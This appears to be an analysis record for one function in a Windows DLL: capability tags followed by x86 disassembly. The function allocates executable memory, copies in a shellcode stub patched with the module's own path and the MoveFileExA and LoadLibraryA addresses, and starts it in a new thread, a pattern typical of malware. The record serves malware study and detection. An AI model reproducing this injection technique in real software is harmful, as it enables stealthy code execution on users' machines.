Function at 0x10002e80
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov byte [ebp - 0x11e], al
mov byte [ebp - 0x115], 0xe8
mov byte [ebp - 0x116], 0x90
mov eax, 0x10003110
mov dword [ebp - 0x110], eax
mov eax, 0x100030dc
sub dword [ebp - 0x110], eax
mov dword [ebp - 0x114], eax
mov eax, dword [ebp + 8]
mov dword [0x100109b0], eax
push 0x104
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
push 0x3000
push dword [ebp - 0x110]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x12c], eax
push dword [ebp - 0x110]
push dword [ebp - 0x114]
push dword [ebp - 0x12c]
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x11c], eax
push 0x40
push 0x3000
push pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x128], eax
push 0x40
push 0x3000
push pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x124], eax
xor eax, eax
inc eax
imul eax, eax, 0x12
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x128]
mov dword [ecx + eax], edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
pop ecx
push eax
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x128]
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
xor eax, eax
inc eax
imul eax, eax, 0x19
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x124]
mov dword [ecx + eax], edx
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
pop ecx
push eax
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x124]
call dword [sym.imp.VCRUNTIME140.dll_memcpy]
add esp, 0xc
xor eax, eax
mov byte [ebp - 0x11d], al
lea ecx, [ebp - 0x11d]
call fcn.10003131
push eax
push 0x5c
pop edx
mov ecx, dword [ebp - 0x124]
call fcn.10002d3a
inc eax
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy]
pop ecx
pop ecx
xor eax, eax
inc eax
imul eax, eax, 0x26
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ebp - 0x128]
mov dword [ecx + eax], edx
xor eax, eax
inc eax
imul eax, eax, 0x1e
mov ecx, dword [ebp - 0x11c]
mov dl, byte [ebp - 0x115]
mov byte [ecx + eax], dl
push 5
xor eax, eax
inc eax
imul eax, eax, 0x1e
add eax, dword [ebp - 0x11c]
push eax
push dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x109]
call fcn.10003121
xor ecx, ecx
inc ecx
imul ecx, ecx, 0x1f
mov edx, dword [ebp - 0x11c]
mov dword [edx + ecx], eax
xor eax, eax
inc eax
imul eax, eax, 0x23
mov ecx, dword [ebp - 0x11c]
mov dl, byte [ebp - 0x116]
mov byte [ecx + eax], dl
xor eax, eax
inc eax
imul eax, eax, 0x2b
mov ecx, dword [ebp - 0x11c]
mov dl, byte [ebp - 0x115]
mov byte [ecx + eax], dl
push 5
xor eax, eax
inc eax
imul eax, eax, 0x2b
add eax, dword [ebp - 0x11c]
push eax
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x109]
call fcn.10003121
xor ecx, ecx
inc ecx
imul ecx, ecx, 0x2c
mov edx, dword [ebp - 0x11c]
mov dword [edx + ecx], eax
xor eax, eax
inc eax
imul eax, eax, 0x30
mov ecx, dword [ebp - 0x11c]
mov dl, byte [ebp - 0x116]
mov byte [ecx + eax], dl
push 0
push 0
push 0
push dword [ebp - 0x12c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10003110
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000b214
leave
ret 4